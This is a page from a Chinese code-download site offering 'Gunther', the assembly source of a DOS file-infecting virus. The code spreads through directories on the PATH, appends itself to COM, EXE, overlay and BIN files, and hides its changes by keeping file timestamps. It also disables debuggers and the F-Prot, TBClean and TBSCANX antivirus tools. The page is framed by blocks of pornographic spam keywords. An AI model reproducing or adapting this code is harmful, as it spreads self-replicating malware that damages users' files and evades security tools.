亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? gunther.asm

?? 一些病毒源代碼
?? ASM
字號:
; 'Gunther': A Virus From the Virus Creation 2000 System
; The Virus Creation 2000 System is Copywrited by John Burnette
; All Rights Reserved.

; Author: Havoc The Chaos
; Notes: F乺 my lurv, Kiersten B.

; Greetings: Dark Angel, DecimatoR, Dark Avenger (You still out there?)
;            The Additude Adjuster, Mucho Mass, The Old Bit Truth Crew,
;            and virus writters (Except those who rely on kits and call
;            them original code) everywhere!

code    segment byte public
        assume  cs: code
        org     100h

id      =       '=-'

begin:
        call    next                            ; Get Delta Offset
next:   pop     bp
        sub     bp, offset next

        push    cs
        push    cs
        pop     ds
        pop     es

        mov     byte ptr [bp + lock_keys + 3], 244
                                                ; Prefetch Cue Unchanged
lock_keys:
        mov     al, 128                         ; Screws DEBUG
        out     21h, al                         ; If Tracing, Lock Keyboard

        mov     ax, 4653h                       ; Remove F-Prot Utils
        mov     bx, 1
        mov     cx, 2
        rep     int  2Fh


        mov     byte ptr cs:[tb_here][bp], 0    ; Reset TB Flag
        xor     dx, dx
        mov     ds, dx
        mov     ax, word ptr ds:[6]
        dec     ax
        mov     ds, ax

        mov     cx, 0FFFFh                      ; CX = 64k
        mov     si, dx                          ; SI = 0

look_4_tbclean:
        mov     ax, word ptr ds:[si]
        xor     ax, 0A5F3h
        je      check_it                        ; Jump If It's TBClean
look_again:
        inc     si                              ; Continue Search
        loop    look_4_tbclean
        jmp     not_found                       ; TBClean Not Found

check_it:
        mov     ax, word ptr ds:[si+4]
        xor     ax, 0006h
        jne     look_again
        mov     ax, word ptr ds:[si+10]
        xor     ax, 020Eh
        jne     look_again
        mov     ax, word ptr ds:[si+12]
        xor     ax, 0C700h
        jne     look_again
        mov     ax, word ptr ds:[si+14]
        xor     ax, 406h
        jne     look_again

        mov     bx, word ptr ds:[si+17]         ; Steal REAL Int 1 Offset
        mov     byte ptr ds:[bx+16], 0CFh       ; Replace With IRET

        mov     bx, word ptr ds:[si+27]         ; Steal REAL Int 3 Offset
        mov     byte ptr ds:[bx+16], 0CFh       ; Replece With IRET

        mov     byte ptr cs:[tb_here][bp], 1    ; Set The TB Flag On

        mov     bx, word ptr ds:[si+51h]        ; Get 2nd Segment of
        mov     word ptr cs:[tb_int2][bp], bx   ; Vector Table

        mov     bx, word ptr ds:[si-5]          ; Get Offset of 1st Copy
        mov     word ptr cs:[tb_ints][bp], bx   ; of Vector Table

not_found:
        mov     cx, 9EBh
        mov     ax, 0FE05h
        jmp     $-2
        add     ah, 3Bh                         ; Hlt Instruction (Kills TD)
        jmp     $-10

        mov     ax, 0CA00h                      ; Exit It TBSCANX In Mem
        mov     bx, 'TB'
        int     2Fh

        cmp     al, 0
        je      okay
        ret

okay:

        mov     ah, 47h
        xor     dl, dl
        lea     si, [bp+offset dir_buff+1]       ; Save Original Directory
        int     21h

        push    es                              ; New DTA
        push    ds
        mov     ah, 1Ah
        lea     dx, [bp+offset newDTA]
        int     21h

        lea     di, [bp+offset origCSIP2]       ; Save For EXE
        lea     si, [bp+offset origCSIP]
        mov     cx, 4
        rep     movsw

        mov     byte ptr [bp+numinfected], 0

        mov     ax, 3524h                       ; New INT 24h Handler
        int     21h
        mov     ax, 2524h
        mov     dx, offset Int24
        int     21h

traverse_path   proc    near

        push    bp
        pop     bx
        mov     es, word ptr cs:[2Ch]           ; ES = Environment Segment
        xor     di, di                          ; DI = Starting Offset

find_path:
        mov     dx,'As'
        int     0F2h
        lea     si,[bx + path_string]             ; SI points to "PATH="
        lodsb                                   ; Load First Byte in AL
        mov     cx,08000h                       ; Check 32767 Bytes
        repne   scasb                           ; Search Until The Byte Is Found
        mov     cx,4                            ; Check The Next Four Bytes

check_next_4:
        lodsb                                   ; Load The Next Letter of "PATH="
        scasb                                   ; Compare It To Environment
        jne     find_path                       ; Get Another
        loop    check_next_4                    ; Keep Checking

        mov     word ptr [bx + path_ad], di     ; Save The PATH Address
        mov     word ptr [bx + path_ad + 2], es ; Save The PATH's Segment

        lds     si,dword ptr [bx + path_ad]     ; DS:SI Points to PATH
        lea     di,[bp - 70]                    ; DI = Work Buffer
        push    cs
        pop     es

move_subdir:
        lodsb                                   ; Load Next Byte
        cmp     al,';'                          ; Separator?
        je      moved_one                       ; Yes, We're Done
        or      al,al                           ; End of Path?
        je      moved_last_one                  ; Yes, Quit Our Loop
        stosb                                   ; Store Byte at ES:DI
        jmp     short move_subdir               ; Keep Transfering Characters

moved_last_one:
        xor     si, si                          ; Clear Buffer
moved_one:
        mov     word ptr es:[bx + path_ad],si   ; Store SI in the path address

        cmp     si, 0                           ; Done?
        je      done                            ; Done.

        mov     ah, 3Bh                         ; Change Directory
        lea     dx, [bx + path_ad]
        int     21h

        lea     dx, [di + com_spec]             ; Find COM Files
        call    infect
        lea     dx, [di + exe_spec]             ; Find EXE Files
        call    infect
        lea     dx, [di + ovr_spec]             ; Find OV? Files
        call    infect
        lea     dx, [di + bin_spec]             ; Find Binary Files
        call    infect
        jmp     move_subdir                     ; Get Another Sub-Directory

done:   ret

traverse_path	endp
        pop     ds                              ; Restore DTA
        pop     es
        mov     ah, 1Ah
        mov     dx, 80h
        int     21h

        cmp     sp, id                          ; EXE?
        jne     infect

restore_exe:                                    ; Restore EXE
        mov     ax, ds
        add     ax, 10h
        add     cs:[bp+word ptr origCSIP2+2], ax
        add     ax, cs:[bp+word ptr origSPSS2]
        cli
        mov     ss, ax
        mov     sp, cs:[bp+word ptr origSPSS2+2]
        sti
        db      00EAh                           ; Jump To The Original Code
origCSIP2       db      ?
old3_2          db      ?,?,?
origSPSS2       dd      ?
origCSIP        db      ?
old3            db      0cdh,20h,0
origSPSS        dd      ?

restore_com:                                    ; Restore COM
        mov     di, 100h
        push    di
        lea     si, [bp+offset old3_2]
        movsw
        movsb

return: ret                                     ; Jump To Original Code

infect:
        mov     cx, 7
        mov     ah, 4Eh                         ; Find First File
findfirstnext:
        int     21h
        jc      return

        cmp     word ptr [bp+newDTA+33], 'AM'   ; COMMAND.COM?
        mov     ah, 4Fh
        jz      findfirstnext                   ; Yes, So Get Another File

        lea     dx, [bp+newDTA+30]              ; Get Attributes
        mov     ax, 4300h
        int     21h
        jc      return
        push    cx                              ; Save Them
        push    dx

        mov     ax, 4301h                       ; Clear Attributes
        push    ax
        xor     cx, cx
        int     21h

        mov     ax, 3D02h                       ; Open File, Read/Write
        lea     dx, [bp+newDTA+30]
        int     21h
        xchg    ax, bx

        mov     ax, 5700h                       ; Get File Time/Date
        int     21h
        push    cx                              ; Save Time/Date
        push    dx

        mov     ah, 3Fh
        mov     cx, 1Ah                         ; Read Into File
        lea     dx, [bp+offset readbuffer]
        int     21h

        mov     ax, 4202h                       ; Move Pointer To End Of File
        xor     cx, cx
        cwd
        int     21h

        cmp     word ptr [bp+offset readbuffer], 'ZM'   ; EXE?
        jz      checkexe

        mov     cx, word ptr [bp+offset readbuffer+1]
        add     cx, heap-begin+3                ; CX = Filesize
        cmp     ax, cx
        jz      jmp_close                       ; Already Infected

        cmp     ax, 65535-(endheap-begin)       ; Too Large To Infect?
        ja      jmp_close

        lea     di, [bp+offset old3]            ; Save First Three Bytes
        lea     si, [bp+offset readbuffer]
        movsb
        movsw

        mov     cx, 3                           ; Encoded Jump To Virus
        sub     ax, cx
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 0E9h
        mov     byte ptr [bp+offset readbuffer], dl
        jmp     short continue_infect

checkexe:
        cmp     word ptr [bp+offset readbuffer+10h], id
        jnz     skipp                           ; Not Infected, So Infect It

jmp_close:
        jmp     close                           ; Infected, So Quit

skipp:  lea     di, [bp+origCSIP]
        lea     si, [bp+readbuffer+14h]
        movsw                                   ; Save CS and IP
        movsw

        sub     si, 0Ah                         ; Save SS and SP
        movsw
        movsw

        push    bx                              ; Filename
        mov     bx, word ptr [bp+readbuffer+8]  ; Header Size
        mov     cl, 4
        shl     bx, cl

        push    dx
        push    ax

        sub     ax, bx                          ; File Size - Header Size
        sbb     dx, 0

        mov     cx, 10h
        div     cx

        mov     word ptr [bp+readbuffer+0Eh], ax ; SS
        mov     word ptr [bp+readbuffer+10h], id ; SP
        mov     word ptr [bp+readbuffer+14h], dx ; IP
        mov     word ptr [bp+readbuffer+16h], ax ; CS

        pop     ax
        pop     dx

        add     ax, heap-begin
        adc     dx, 0

        mov     cl, 9
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 1

        mov     word ptr [bp+readbuffer+2], ax
        mov     word ptr [bp+readbuffer+4], dx  ; Fix Header

        pop     bx
        mov     cx, 1Ah

continue_infect:

        mov     ah, 40h
        mov     cx, heap-begin                  ; Add Virus To The End
        lea     dx, [bp+offset begin]
        int     21h

        mov     ax, 4200h
        xor     cx, cx                          ; Move Pointer To Beginning
        cwd
        int     21h

        mov     ah, 40h
        mov     cx, 1Ah                         ; Write Encoded Jump To Virus
        lea     dx, [bp+offset readbuffer]
        int     21h

        inc     [bp+numinfected]                  ; Infection Good

close:
        mov     ax, 5701h                       ; Set Orig Date and Time
        pop     dx
        pop     cx
        int     21h

        mov     ah, 3Eh                         ; Close File
        int     21h

        pop     ax                              ; Restore Attributes
        pop     dx
        pop     cx
        int     21h

        cmp     [bp+numinfected], 5
        jae     bye
        mov     ah, 4Fh                         ; No, So Find Another File
        jmp     findfirstnext

        mov     ax, 2524h                       ; New INT 24h Handler
        pop     dx
        pop     ds
        int     21h

        mov     ah, 3Bh                         ; Function: Change Directory
        lea     dx, [bp+dir_buff]               ; Restore Current Directory
        int     21h                             ; Execute Function

bye:    ret

Int24:  mov     ax, 3                           ; Error Handling
        iret    


exe_spec        db      '*.EXE',0               ; EXE Filespec
ovr_spec        db      '*.OV?',0               ; OV? Filespec
bin_spec        db      '*.BIN',0               ; BIN Filespec
com_spec        db      '*.COM',0               ; COM Filespec
path_string     db      "PATH="         ; The PATH String To Search For

heap:
donebin         db      0
dir_buff        db      64 dup (0)              ; Current Dir Buffer
newdta          db      43 dup (?)              ; New Disk Transfer Access
numinfected     db      ?                       ; Number Of Files Infected
path_ad         dd      ?               ; Holds The PATH's Address
tb_ints         dd      0
tb_int2         dd      0
tb_here         db      0
readbuffer      db      1ah dup (?)
endheap:

code    ends
        end begin

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产最新精品精品你懂的| 成人福利视频在线| 亚洲国产精品激情在线观看| 国产精品一区二区x88av| 久久久久久久久久久久久久久99| 国产一区二区免费视频| 国产欧美综合在线| 91伊人久久大香线蕉| 亚洲精品国产无套在线观| 欧美午夜电影网| 精品一区二区精品| 国产精品乱人伦中文| 色综合色综合色综合| 天天影视色香欲综合网老头| 欧美成人综合网站| 99国产精品久久久久久久久久 | 国产精品精品国产色婷婷| 色综合天天综合色综合av| 亚洲综合区在线| 亚洲精品一区二区精华| 夜夜嗨av一区二区三区中文字幕| 91成人国产精品| 久久国产免费看| 日韩伦理免费电影| 欧美大度的电影原声| 成人av先锋影音| 日本三级亚洲精品| 国产精品蜜臀在线观看| 欧美精品一级二级| 不卡免费追剧大全电视剧网站| 午夜精品一区在线观看| 国产午夜精品久久| 51久久夜色精品国产麻豆| 波多野结衣中文字幕一区二区三区 | 麻豆精品久久久| 成人免费一区二区三区在线观看 | 国产成人综合网站| 亚欧色一区w666天堂| 奇米影视在线99精品| 亚洲国产成人自拍| 在线成人av网站| 成人av影视在线观看| 久久精品国产久精国产| 亚洲人成电影网站色mp4| 精品久久一区二区| 在线观看一区二区视频| 成人禁用看黄a在线| 久久成人av少妇免费| 亚洲夂夂婷婷色拍ww47| 欧美极品少妇xxxxⅹ高跟鞋| 日韩免费高清av| 欧美日韩不卡一区| thepron国产精品| 国产一区二区三区免费看| 日韩av一区二区三区四区| 一区二区三区在线视频免费| 欧美国产97人人爽人人喊| 日韩精品在线网站| 欧美日韩大陆在线| 精品视频一区二区三区免费| 色诱视频网站一区| 91同城在线观看| jlzzjlzz亚洲日本少妇| 国产精品一二二区| 九色综合狠狠综合久久| 天天射综合影视| 亚洲成av人片一区二区三区| 一区二区国产盗摄色噜噜| 国产精品久久毛片| 国产欧美一区二区在线| 国产农村妇女精品| 国产日韩影视精品| 国产欧美日韩一区二区三区在线观看| 26uuu精品一区二区三区四区在线 26uuu精品一区二区在线观看 | 久久伊99综合婷婷久久伊| 4438x成人网最大色成网站| 欧美日韩专区在线| 在线这里只有精品| 精品视频999| 欧美男人的天堂一二区| 欧美日韩一区二区欧美激情| 精品视频123区在线观看| 欧美高清视频一二三区| 日韩一区二区三区电影在线观看 | 91女神在线视频| 色综合一区二区三区| 欧洲色大大久久| 欧美三区在线观看| 欧美挠脚心视频网站| 欧美精品乱人伦久久久久久| 日韩欧美一级精品久久| 久久午夜国产精品| 国产精品欧美综合在线| 伊人一区二区三区| 日韩福利电影在线| 国产精品69毛片高清亚洲| 福利一区二区在线| 99re成人精品视频| 欧美午夜免费电影| 精品国产自在久精品国产| 中文字幕欧美区| 亚洲激情中文1区| 麻豆专区一区二区三区四区五区| 国产美女一区二区| 色综合久久综合网欧美综合网| 欧美四级电影网| 久久亚洲精品小早川怜子| 中文字幕亚洲一区二区va在线| 亚洲成av人综合在线观看| 国产自产视频一区二区三区| 99国内精品久久| 日韩免费看的电影| 亚洲免费色视频| 久久成人麻豆午夜电影| 91在线播放网址| 日韩一级免费观看| 亚洲欧洲精品一区二区精品久久久| 亚洲第一精品在线| 国产精品一区不卡| 欧美久久久久久久久中文字幕| 国产亚洲午夜高清国产拍精品 | 一本色道久久综合亚洲91| 91精品国产综合久久小美女| 国产精品伦一区| 麻豆91在线看| 在线观看欧美日本| 国产午夜精品在线观看| 调教+趴+乳夹+国产+精品| 成人av在线资源| 欧美刺激午夜性久久久久久久| 亚洲欧美日韩国产成人精品影院| 日韩一级视频免费观看在线| 国产精品区一区二区三区| 日韩精品一级中文字幕精品视频免费观看| 国产一区二区三区四区五区美女 | 在线看一区二区| 久久九九久精品国产免费直播| 亚洲va中文字幕| 91在线视频网址| 国产视频一区二区在线| 日本91福利区| 欧美日韩二区三区| 亚洲免费大片在线观看| 风间由美中文字幕在线看视频国产欧美| 欧美疯狂性受xxxxx喷水图片| 亚洲婷婷国产精品电影人久久| 国产99久久久国产精品潘金网站| 日韩一级片网站| 琪琪久久久久日韩精品| 欧美日韩美女一区二区| 夜夜夜精品看看| 97se亚洲国产综合自在线观| 欧美高清在线精品一区| 2023国产精品自拍| 亚洲午夜久久久久久久久电影网 | 美女视频一区在线观看| 欧美在线观看你懂的| 亚洲色图一区二区三区| 成人av电影观看| 国产欧美精品国产国产专区| 精品一区二区三区久久久| 精品欧美黑人一区二区三区| 麻豆国产一区二区| 精品999久久久| 国产一二三精品| 欧美国产成人在线| 99久久精品国产一区二区三区| 国产精品久久福利| 91视频www| 亚洲一区二区三区四区在线免费观看| 色综合久久久久网| 亚洲成人一区二区| 欧美一级电影网站| 久久精品999| 国产亚洲欧美色| 成人高清视频免费观看| 亚洲精品视频免费看| 99久久久国产精品| 一区二区三区四区五区视频在线观看 | 日韩精品一区二区三区视频播放| 日本欧美大码aⅴ在线播放| 日韩一级大片在线观看| 久久97超碰色| 欧美国产精品一区二区三区| 99热在这里有精品免费| 亚洲一区视频在线| 日韩欧美亚洲一区二区| 国产综合久久久久久久久久久久| 亚洲国产精品ⅴa在线观看| 91免费观看在线| 三级欧美在线一区| 国产亚洲精品资源在线26u| 91麻豆精品秘密| 日韩在线观看一区二区| 久久丝袜美腿综合| 91在线精品一区二区| 日韩成人午夜电影| 国产精品久久毛片| 欧美一区二区三区在线视频| 国产精品一级片|